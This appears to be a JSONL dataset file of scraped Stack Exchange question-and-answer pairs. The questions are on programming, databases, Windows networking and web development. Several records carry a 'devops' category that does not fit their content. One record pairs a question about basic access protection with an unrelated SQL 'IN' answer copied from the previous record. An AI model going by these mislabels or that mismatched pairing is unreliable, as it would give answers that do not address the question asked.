db backend.\nTheoretically, you could also store session data in a flat file, even if you can't have a database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.562494"}
{"id": "hf_f18f3f6ab786", "question": "<p>I have a blogengine.net install that requires privatization.</p>\n\n<p>I'm doing research work at the moment, but I have to keep my blog/journal private until certain conditions are met.</p>\n\n<p>How can I privatize my blogEngine.net install so that readers must log in to read my posts?</p>\n", "question_body": "", "answer": "I would think it's possible to do this in the web config file by doing something like the following:\n```\n```\n<system.web>\n    <authorization>\n      <allow roles=\"Admin\" />\n      <deny users=\"*\" />\n    </authorization>\n</system.web>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.587185"}
{"id": "hf_2d6d9c7dd361", "question": "<p>How can you make the display frames per second be independent from the game logic? That is so the game logic runs the same speed no matter how fast the video card can render. </p>\n", "question_body": "", "answer": "You could make your game loop look like:\n```\n```\nint lastTime = GetCurrentTime();\nwhile(1) {\n    // how long is it since we last updated?\n    int currentTime = GetCurrentTime();\n    int dt = currentTime - lastTime;\n    lastTime = currentTime;\n\n    // now do the game logic\n    Update(dt);\n\n    // and you can render\n    Draw();\n}\n```\n```\nThen you just have to write your\n```\nUpdate()\n```\nfunction to take into account the time differential; e.g., if you've got an object moving at some speed\n```\nv\n```\n, then update its position by\n```\nv * dt\n```\nevery frame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.611574"}
{"id": "hf_dd49dc8c3120", "question": "<p>Is anyone aware of a language feature or technique in C++ to prevent a child class from over riding a particular method in the parent class?</p>\n\n<pre><code>class Base {\npublic:\n    bool someGuaranteedResult() { return true; }\n};\n\nclass Child : public Base {\npublic:\n    bool someGuaranteedResult() { return false; /* Haha I broke things! */ }\n};\n</code></pre>\n\n<p>Even though it's not virtual, this is still allowed (at least in the Metrowerks compiler I'm using), all you get is a compile time warning about hiding non-virtual inherited function X.</p>\n", "question_body": "", "answer": "If you address the child class as a type of its parent, then a non-virtual function will call the parent class's version.\nie:\n```\n```\nParent* obj = new Child();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.688042"}
{"id": "hf_ab36f49a208b", "question": "<blockquote>\n  <p>Note that this question continues from <a href=\"https://stackoverflow.com/questions/15414/\">Is it possible to coax Visual Studio 2008 into using italics for comments?</a></p>\n</blockquote>\n\n<p>If the long question title got you, here's the problem:</p>\n\n<blockquote>\n  <p>How to convert the style property of the Consolas Italic font to Bold without actually modifying any of its actual glyphs? That is, we want the font to be still the same (i.e., Italic) we merely want the OS to believe that it's now a Bold font.</p>\n</blockquote>\n\n<p>Please just don't mention the name of a tool (Ex: fontforge), but describe the steps to achieve this or point to such a description.</p>\n", "question_body": "", "answer": "Alright, I've successfully used FontForge to create a copy of Consolas (although this should work with any font) with the bold style actually being italics.\nThese are the steps that I followed:\nInstall\nFontForge\n. It's a lot easier to do this on linux than on windows/cygwin. I used a Ubuntu VM (\"sudo apt-get install fontforge\").\nOpen Consola.ttf (the \"normal\" style font) in FontForge.\nSelect Element -> Font Info.\nChange the Fontname, Family Name, and Name for Humans, all to the same thing. I used 'ConsolasVS'.\nClick Ok. Click 'Yes' to let FontForge generate a new GUID for the font.\nSelect File -> Generate Fonts. Make sure you've got \"TrueType\" selected. Uncheck \"Validate before saving\". Click Save.\nNow open Consolai.ttf (the italic style font) in FontForge.\nGo back to Element -> Font Info.\nChange the Font names as before, and where it currently says \"Italic\", change that to \"Bold\".\nGo to the OS/2 tab, change the font weight to \"700 Bold\".\nGo to the Mac tab, change the style set to Bold.\nClick Ok. Allow a new GUID to be generated again.\nFile -> Generate Fonts, as before.\nCopy your two new ttf files into your \\Windows\\FONTS\\ folder.\nYou can now have nice italic comments with Consolas in VS2008. Hooray!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.722355"}
{"id": "hf_2cc63cf07e1b", "question": "<p>For my C# app, I don't want to always prompt for elevation on application start, but if they choose an output path that is UAC protected then I need to request elevation.</p>\n\n<p>So, how do I check if a path is UAC protected and then how do I request elevation mid-execution?</p>\n", "question_body": "", "answer": "Requesting elevation mid-execution requires that you either:\nUse a COM control that's elevated, which will put up a prompt\nStart a second process that is elevated from the start.\nIn .NET, there is currently no way to elevate a running process; you have to do one of the hackery things above, but all that does is give the user the appearance that the current process is being elevated.\nThe only way I can think of to check if a path is UAC elevated is to try to do some trivial write to it while you're in an un-elevated state, catch the exception, elevate and try again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.759930"}
{"id": "hf_327c6c8ee105", "question": "<p>Word wrap is one of the must-have features in a modern text editor.</p>\n\n<p>How word wrap be handled? What is the best algorithm for word-wrap?</p>\n\n<p>If text is several million lines, how can I make word-wrap very fast?</p>\n\n<p>Why do I need the solution? Because my projects must draw text with various zoom level and simultaneously beautiful appearance.</p>\n\n<p>The running environment is Windows Mobile devices. The maximum 600&nbsp;MHz speed with very small memory size.</p>\n\n<p>How should I handle line information? Let's assume original data has three lines.</p>\n\n<pre><code>THIS IS LINE 1.\nTHIS IS LINE 2.\nTHIS IS LINE 3.\n</code></pre>\n\n<p>Afterwards, the break text will be shown like this:</p>\n\n<pre><code>THIS IS\nLINE 1.\nTHIS IS\nLINE 2.\nTHIS IS\nLINE 3.\n</code></pre>\n\n<p>Should I allocate three lines more? Or any other suggestions?\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "With or without hyphenation?\nWithout it's easy. Just encapsulate your text as wordobjects per word and give them a method getWidth(). Then start at the first word adding up the rowlength until it is greater than the available space. If so, wrap the last word and start counting again for the next row starting with this one, etc.\nWith hyphenation you need hyphenation rules in a common format like: hy-phen-a-tion\nThen it's the same as the above except you need to split the last word which has caused the overflow.\nA good example and tutorial of how to structure your code for an excellent text editor is given in the Gang of Four\nDesign Patterns\nbook. It's one of the main samples on which they show the patterns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.808570"}
{"id": "hf_ed2a7ded5c03", "question": "<p>Programmatic solution of course...</p>\n", "question_body": "", "answer": "You need to delve into unmanaged code. Here's a static class that I've been using:\n```\n```\npublic static class Recycle\n{\n    private const int FO_DELETE = 3;\n    private const int FOF_ALLOWUNDO = 0x40;\n    private const int FOF_NOCONFIRMATION = 0x0010;\n\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto, Pack = 1)]\n    public struct SHFILEOPSTRUCT\n    {\n        public IntPtr hwnd;\n        [MarshalAs(UnmanagedType.U4)]\n        public int wFunc;\n        public string pFrom;\n        public string pTo;\n        public short fFlags;\n        [MarshalAs(UnmanagedType.Bool)]\n        public bool fAnyOperationsAborted;\n        public IntPtr hNameMappings;\n        public string lpszProgressTitle;\n    }\n\n    [DllImport(\"shell32.dll\", CharSet = CharSet.Auto)]\n    static extern int SHFileOperation(ref SHFILEOPSTRUCT FileOp);\n\n    public static void DeleteFileOperation(string filePath)\n    {\n        SHFILEOPSTRUCT fileop = new SHFILEOPSTRUCT();\n        fileop.wFunc = FO_DELETE;\n        fileop.pFrom = filePath + '\\0' + '\\0';\n        fileop.fFlags = FOF_ALLOWUNDO | FOF_NOCONFIRMATION;\n\n        SHFileOperation(ref fileop);\n    }\n}\n```\n```\nAddendum:\nTsk tsk @ Jeff for \"using Microsoft.VisualBasic\" in C# code.\nTsk tsk @ MS for putting all the goodies in VisualBasic namespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.840950"}
{"id": "hf_e819eb815c48", "question": "<p>I have a table with a 'filename' column.\nI recently performed an insert into this column but in my haste forgot to append the file extension to all the filenames entered.  Fortunately they are all '.jpg' images.</p>\n\n<p>How can I easily update the 'filename' column of these inserted fields (assuming I can select the recent rows based on known id values) to include the '.jpg' extension?</p>\n", "question_body": "", "answer": "The solution is:\n```\n```\nUPDATE tablename SET [filename] = RTRIM([filename]) + '.jpg' WHERE id > 50\n```\n```\nRTRIM is required because otherwise the [filename] column in its entirety will be selected for the string concatenation i.e. if it is a varchar(20) column and filename is only 10 letters long then it will still select those 10 letters and then 10 spaces.  This will in turn result in an error as you try to fit 20 + 3 characters into a 20 character long field.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.861652"}
{"id": "hf_7d92ffa9fd51", "question": "<p>We are currently using MySQL for a product we are building, and are keen to move to PostgreSQL as soon as possible, primarily for licensing reasons.</p>\n\n<p>Has anyone else done such a move? Our database is the lifeblood of the application and will eventually be storing TBs of data, so I'm keen to hear about experiences of performance improvements/losses, major hurdles in converting SQL and stored procedures, etc.</p>\n\n<p>Edit: Just to clarify to those who have asked why we don't like MySQL's licensing. We are developing a commercial product which (currently) depends on MySQL as a database back-end. Their license states we need to pay them a percentage of our list price per installation, and not a flat fee. As a startup, this is less than appealing.</p>\n", "question_body": "", "answer": "Steve, I had to migrate my old application the way around, that is PgSQL->MySQL. I must say, you should consider yourself lucky ;-)\nCommon gotchas are:\nSQL is actually pretty close to language standard, so you may suffer from MySQL's dialect you already know\nMySQL quietly truncates varchars that exceed max length, whereas Pg complains - quick workaround is to have these columns as 'text' instead of 'varchar' and use triggers to truncate long lines\ndouble quotes are used instead of reverse apostrophes\nboolean fields are compared using IS and IS NOT operators, however MySQL-compatible INT(1) with = and <> is still possible\nthere is no REPLACE, use DELETE/INSERT combo\nPg is pretty strict on enforcing foreign keys integrity, so don't forget to use ON DELETE CASCADE on references\nif you use PHP with PDO, remember to pass a parameter to lastInsertId() method - it should be sequence name, which is created usually this way: [tablename]_[primarykeyname]_seq\nI hope that helps at least a bit. Have lots of fun playing with Postgres!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:49.952011"}
{"id": "hf_e4e4054db3d3", "question": "<p>I know this is not programming directly, but it's regarding a development workstation I'm setting up.</p>\n\n<p>I've got a Windows Server 2003 machine that needs to be on two LAN segments at the same time.  One of them is a 10.17.x.x LAN and the other is 10.16.x.x</p>\n\n<p>The problem is that I don't want to be using up the bandwidth on the 10.16.x.x network for internet traffic, etc (this network is basically only for internal stuff, though it does have internet access) so I would like the system to use the 10.17.x.x connection for anything that is external to the LAN (and for anything on 10.17.x.x of course, and to only use the 10.16.x.x connection for things that are on <em>that</em> specific LAN.</p>\n\n<p>I've tried looking into the windows \"route\" command but it's fairly confusing and won't seem to let me delete routes tha tI believe are interfering with what I want it to do.  Is there a better way of doing this?  Any good software for segmenting your LAN access?</p>\n", "question_body": "", "answer": "If you don't move your network cables around and can assign yourself a static IP address on the 10.16.x.x network, you can refrain from assigning a gateway address on that network.  If there is no gateway, internet packets will not be routed on that interface.\nIf you use DHCP, static record to recognize your MAC address and not provide a gateway IP address.\nAs for using advanced windows routing, the route you are looking for is the 0.0.0.0 route (default route).  The important number is the metric value, which is the cost for the route, where the lower metric tends to be used first.  You can set the metric at the interface level directly in the GUI.\nhttps://web.archive.org/web/1/http://articles.techrepublic%2ecom%2ecom/i/tr/cms/contentPics/tcpip-F.gif\nI believe if you set the interface metric to a high value on the 10.16.x.x interface, it will not be used as a gateway.\nPersonally I use the method where I refrain from defining a gateway IP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.109054"}
{"id": "hf_de72cf50ca84", "question": "<p>I wanted to show the users Name Address (see <a href=\"http://www.ipchicken.com\" rel=\"nofollow noreferrer\">www.ipchicken.com</a>), but the only thing I can find is the IP Address. I tried a reverse lookup, but didn't work either:</p>\n\n<pre><code>IPAddress ip = IPAddress.Parse(this.lblIp.Text);\nstring hostName = Dns.GetHostByAddress(ip).HostName;\nthis.lblHost.Text = hostName;\n</code></pre>\n\n<p>But HostName is the same as the IP address.</p>\n\n<p>Who know's what I need to do?</p>\n\n<p>Thanks.\nGab.</p>\n", "question_body": "", "answer": "Not all IP addresses need to have hostnames. I think that's what is happening in your case. Try it ouy with more well-known IP/hostname pairs eg:\nName: google.com Address: 72.14.207.99\nName: google.com Address:\n  64.233.187.99\nName: google.com Address:\n  64.233.167.99\n...I might just be wrong", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.143800"}
{"id": "hf_ba89c7142142", "question": "<p>I am currently developing a .NET application, which consists of 20 projects. Some of those projects are compiled using .NET 3.5, some others are still .NET 2.0 projects (so far no problem).</p>\n<p>The problem is that if I include an external component I always get the following warning:</p>\n<blockquote>\n<p>Found conflicts between different versions of the same dependent assembly.</p>\n</blockquote>\n<p>What exactly does this warning mean and is there maybe a possibility to exclude this warning (like using #pragma disable in the source code files)?</p>\n", "question_body": "", "answer": "Basically this happens when the assemblies you're referencing have \"Copy Local\" set to \"True\", meaning that a copy of the DLL is placed in the bin folder along with your exe.\nSince Visual Studio will copy all of the dependencies of a referenced assembly as well, it's possible to end up with two different builds of the same assembly being referred to. This is more likely to happen if your projects are in separate solutions, and can therefore be compiled separately.\nThe way I've gotten around it is to set Copy Local to False for references in assembly projects. Only do it for executables/web applications where you need the assembly for the finished product to run.\nHope that makes sense!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.167833"}
{"id": "hf_74bd08ffe5c8", "question": "<p>Any recommendations for a javascript form validation library. I could try and roll my own (but I'm not very good at javascript). Needs to support checking for required fields, and preferably regexp validation of fields.</p>\n", "question_body": "", "answer": "I've used\nthis library\nfor a couple of personal projects. It's pretty good, though I have had to make my own modifications to it a couple of times - nothing major, though, and it's easy enough to do so.\nI'm sure you already do this, but also validate all of your information on the server-side, as well. Client-side-only validation is rarely, if ever, a good idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.191414"}
{"id": "hf_c430ce4e1a1c", "question": "<p>I'm working on a setup which <em>wants to include the Microsoft.Web.Services3 (WSE 3.0) DLL</em>. However, I typically do not like including Microsoft DLL's in our installs except by way of Microsoft's redistributables. There is both a developer and a redist install package available from Microsoft.</p>\n\n<p>So, as a best practice, should I include the single DLL in my install or refer them to one of the WSE 3.0 installs (assuming they do not already have it installed)?</p>\n", "question_body": "", "answer": "If you don't include it you should at the very least link to it directly on your site or have your installer open the web browser to it (or even download it automatically).  Or better yet, include the redistributable in your software package.\nHowever, if the DLL is not very large and you suspect that few users will have it, in the interest of a better user I would prepackage it in the default installer.  However, you can always have an installer that does not include it for those who want a smaller installer... a great deal of other vendors do this all the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.215314"}
{"id": "hf_e35cfacef17a", "question": "<p>Is there a way to select data where any one of multiple conditions occur on the same field?</p>\n\n<p>Example: I would typically write a statement such as:</p>\n\n<pre><code>select * from TABLE where field = 1 or field = 2 or field = 3\n</code></pre>\n\n<p>Is there a way to instead say something like:</p>\n\n<pre><code>select * from TABLE where field = 1 || 2 || 3\n</code></pre>\n\n<p>Any help is appreciated.</p>\n", "question_body": "", "answer": "Sure thing, the simplest way is this:\n```\n```\nselect foo from bar where baz in (1,2,3)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.262303"}
{"id": "hf_a900cfba61ed", "question": "<p>Just looking for the first step basic solution here that keeps the honest people out.</p>\n\n<p>Thanks,\nMike</p>\n", "question_body": "", "answer": "Sure thing, the simplest way is this:\n```\n```\nselect foo from bar where baz in (1,2,3)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.285800"}
{"id": "hf_a75f6ce3fda8", "question": "<p>I asked a couple of coworkers about <a href=\"http://ankhsvn.open.collab.net\" rel=\"nofollow noreferrer\">AnkhSVN</a> and neither one of them was happy with it. One of them went as far as saying that AnkhSVN has messed up his devenv several times.</p>\n\n<p>What's your experience with AnkhSVN? I really miss having an IDE integrated source control tool.</p>\n", "question_body": "", "answer": "Older AnkhSVN (pre 2.0) was very crappy and I was only using it for shiny icons in the solution explorer. I relied on Tortoise for everything except reverts.\nThe newer Ankh is a complete rewrite (it is now using the Source Control API of the IDE) and looks & works much better. Still, I haven't forced it to any heavy lifting. Icons is enough for me.\nThe only gripe I have with 2.0 is the fact that it slaps its footprint to\n.sln\nfiles. I always revert them lest they cause problems for co-workers who do not have Ankh installed. I don't know if my fears are groundless or not.\naddendum:\nI have been using v2.1.7141 a bit more extensively for the last few weeks and here are the new things I have to add:\nNo ugly crashes that plagued v1.x. Yay!\nFor some reason, \"Show Changes\" (diff) windows are limited to only two. Meh.\nDiff windows do not allow editing/reverting yet. Boo!\nUpdates, commits and browsing are MUCH faster than Tortoise. Yay!\nAll in all, I would not use it standalone, but once you start using it, it becomes an almost indispensable companion to Tortoise.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.513725"}
{"id": "hf_4c57210a3ff0", "question": "<p>How do I create a self signed SSL certificate for an Apache Server to use while testing a web app?</p>\n", "question_body": "", "answer": "Use OpenSSL (\nhttp://www.openssl.org/\n)\nHere's a tutorial:\nhttp://novosial.org/openssl/self-signed/\nHere is the good tutorial to start with:\nSSH localhost\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.538062"}
{"id": "hf_b5ae22937e65", "question": "<p>What's the cleanest, most effective way to validate decimal numbers in JavaScript?</p>\n\n<p>Bonus points for:</p>\n\n<ol>\n<li>Clarity. Solution should be clean and simple.</li>\n<li>Cross-platform.</li>\n</ol>\n\n<p>Test cases:</p>\n\n<pre><code>01. IsNumeric('-1')      =&gt; true\n02. IsNumeric('-1.5')    =&gt; true\n03. IsNumeric('0')       =&gt; true\n04. IsNumeric('0.42')    =&gt; true\n05. IsNumeric('.42')     =&gt; true\n06. IsNumeric('99,999')  =&gt; false\n07. IsNumeric('0x89f')   =&gt; false\n08. IsNumeric('#abcdef') =&gt; false\n09. IsNumeric('1.2.3')   =&gt; false\n10. IsNumeric('')        =&gt; false\n11. IsNumeric('blah')    =&gt; false\n</code></pre>\n", "question_body": "", "answer": "This way seems to work well:\n```\n```\nfunction IsNumeric(input){\n    var RE = /^-{0,1}\\d*\\.{0,1}\\d+$/;\n    return (RE.test(input));\n}\n```\n```\nIn one line:\n```\n```\nconst IsNumeric = (num) => /^-{0,1}\\d*\\.{0,1}\\d+$/.test(num);\n```\n```\nAnd to test it:\n```\n```\nconst IsNumeric = (num) => /^-{0,1}\\d*\\.{0,1}\\d+$/.test(num);\n    \n    function TestIsNumeric(){\n        var results = ''\n        results += (IsNumeric('-1')?\"Pass\":\"Fail\") + \": IsNumeric('-1') => true\\n\";\n        results += (IsNumeric('-1.5')?\"Pass\":\"Fail\") + \": IsNumeric('-1.5') => true\\n\";\n        results += (IsNumeric('0')?\"Pass\":\"Fail\") + \": IsNumeric('0') => true\\n\";\n        results += (IsNumeric('0.42')?\"Pass\":\"Fail\") + \": IsNumeric('0.42') => true\\n\";\n        results += (IsNumeric('.42')?\"Pass\":\"Fail\") + \": IsNumeric('.42') => true\\n\";\n        results += (!IsNumeric('99,999')?\"Pass\":\"Fail\") + \": IsNumeric('99,999') => false\\n\";\n        results += (!IsNumeric('0x89f')?\"Pass\":\"Fail\") + \": IsNumeric('0x89f') => false\\n\";\n        results += (!IsNumeric('#abcdef')?\"Pass\":\"Fail\") + \": IsNumeric('#abcdef') => false\\n\";\n        results += (!IsNumeric('1.2.3')?\"Pass\":\"Fail\") + \": IsNumeric('1.2.3') => false\\n\";\n        results += (!IsNumeric('')?\"Pass\":\"Fail\") + \": IsNumeric('') => false\\n\";\n        results += (!IsNumeric('blah')?\"Pass\":\"Fail\") + \": IsNumeric('blah') => false\\n\";\n        \n        return results;\n    }\n\nconsole.log(TestIsNumeric());\n```\n```\n```\n```\n.as-console-wrapper { max-height: 100% !important; top: 0; }\n```\n```\nI borrowed that regex from\nhttp://www.codetoad.com/javascript/isnumeric.asp\n. Explanation:\n```\n```\n/^ match beginning of string\n-{0,1} optional negative sign\n\\d* optional digits\n\\.{0,1} optional decimal point\n\\d+ at least one digit\n$/ match end of string\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.608837"}
{"id": "hf_a1411e60ae6a", "question": "<p>We are investigating using CruiseControl.NET as both a Continues Integration build provider, as well as automating the first part of our deployment process.</p>\n\n<p>Has anyone modified CruiseControl.NET's dashboard to add custom login and user roles (IE, Separate out access to forcing a build to only certain individuals on a per project basis?</p>\n\n<p>The dashboard is a .NET App, but I believe it uses the nVelocity view engine instead of web forms, which I don't have experience with.</p>\n\n<p>Can you mix nVelocity and Webforms,or do I need to spend a day learning something new =)</p>\n", "question_body": "", "answer": "Why do you need to? Do you really need to limit users in the way with an integration server. I think that's why CC.Net doesn't have that sort of support built in.\nYou can always see who forced a build, and control it that way.\nI find that continuous integration works best with regular builds and regular unit test runs (our rather large C# app + test run takes 25 mins and checks hourly), so for me forcing a build is rarely an issue.\nIf you want some users to have some kind of report-only access you could limit them so that they can't access the CC.Net web application at all.\nAll the results (MSBuild, NCover, NUnit, FxCop, etc) are in XML, so you can build relativity simple report pages out of XSLT.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.633402"}
{"id": "hf_c91114672b7f", "question": "<p>In a world where manual memory allocation and pointers still rule (Borland Delphi) I need a general solution for what I think is a general problem:</p>\n\n<p>At a given moment an object can be referenced from multiple places (lists, other objects, ...). Is there a good way to keep track of all these references so that I can update them when the object is destroyed?\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "I can't quite figure out why you'd want to do this. Surely you would just check a reference in not Nil before using it?\nAnwyays, two possible solutions I would consider are:\nHave objects manager their own reference counts.\nCreate a reference counting manager class.\nI would probably add AddRef() and ReleaseRef() functions to either the manager or the reference-aware class. You can then use these to check how many references exist at any point. COM does it this way.\nThe reference-aware class would manage only it's own reference count. The manager could use a Map to associate pointers with an integer for counting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.685762"}
{"id": "hf_c931f90d4e2f", "question": "<p>So the ADO.NET Entity Framework has gotten a little bit of bad press (in the form of blog entries and a petition) but I don't want to rush to judgement. I'm limited in time for experimentation but I was wondering has anyone worked with it yet with more empirical feedback? </p>\n\n<p>Finally, what are thoughts on using NHibernate which has been around for a long time and <em>may</em> be more mature than the ADO.NET Entity Framework.</p>\n", "question_body": "", "answer": "Microsoft have all but admitted that the ADO.Net Entity Framework isn't an ORM (I can't find a reference currently). So if you think of the Entity Framework as a query engine then apparently it is really good at what it does. For a complete ORM solution you might want to look elsewhere however.\nThe following blog post seems to bear out this difference:\nhttp://blogs.msdn.com/dsimmons/archive/2008/05/17/why-use-the-entity-framework.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.713466"}
{"id": "hf_fe62396061fe", "question": "<p>So I'm getting a new job working with databases (Microsoft SQL Server to be precise).  I know nothing about SQL much less SQL Server.  They said they'd train me, but I want to take some initiative to learn about it on my own to be ahead.  Where's the best place to start (tutorials, books, etc)?  I want to learn more about the SQL language moreso than any of the fancy point and click stuff.</p>\n", "question_body": "", "answer": "SQL:\nhttp://www.google.com/search?hl=en&q=introduction+to+sql\n->\nhttp://www.w3schools.com/SQL/sql_intro.asp\nMSSQL:\nhttp://www.google.com/search?hl=en&safe=off&q=introduction+to+ms+sql\n->\nhttp://www.intermedia.net/support/SQL/sqltut.asp\nThe best way to learn? Write a lot of queries and read up on the\nEntity-relationship model", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.771224"}
{"id": "hf_150b257d913c", "question": "<p>How do you test the usability of the user interfaces of your applications - be they web or desktop?  Do you just throw it all together and then tweak it based on user experience once the application is live?  Or do you pass it to a specific usability team for testing prior to release?</p>\n\n<p>We are a small software house, but I am interested in the best practices of how to measure usability.</p>\n\n<p>Any help appreciated.</p>\n", "question_body": "", "answer": "I frequently take any new interface I'm working on to one of our technical support people.  They've heard every complaint about interfaces that you could ever imagine, so if anyone is going to think up potential problems, they will.\nAlso, and I'm not kidding about this, I often take the least computer literate person I know (you're mother is often a good choice...but they have to have\nused\na computer before, otherwise it's going to by pointless) and let them loose on the interface with no instruction.  If they can't figure out where things are intuitively, then your GUI likely needs work.  Remember,\nDon't make them think!\n(yes, I know this is for web design, but it applies)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:50.795019"}
{"id": "hf_ebc9ef1a6ae0", "question": "<p>I'm a long time hobbyist programmer interested in getting into web application development. I have a fair amount of personal experience with various non-web languages, but have never really branched over to web applications.</p>\n\n<p>I don't usually have any issues learning new languages or technologies, so I'm not worried about which is the \"best\" language or web stack to work with. Instead, I'd like to know of any recommended resources (books, articles, web sites, maybe even college courses) that discuss web application design: managing and optimizing server interaction, security concerns, scalability, and other topics that fall under design rather than implementation.</p>\n\n<p>What would you recommend for a Standalone Application Developer wanting to branch out into Web Development?</p>\n", "question_body": "", "answer": "A lot of languages have web counterparts. JSP for Java, Rails for Ruby, Django for Python, etc. That might be a lead.\nIf you want to go for the platform with arguably the biggest user base (and with that, the biggest pile of tutorials and examples), go for PHP.\nI strongly advise on looking into various frameworks though. For every web-oriented language there's bound to be a lot of resources that take away the trouble of writing all the low-level plumbing code, so you can focus on the stuff that matters. Personally I almost exclusively use .NET, but I've heard about a bunch of nice PHP frameworks, like the Zend platform and CakePHP (for MVC development).\nIf you intend to also use javascript in your applications to give that nice web 2.0 feel to your applications, please, use a library that hides the 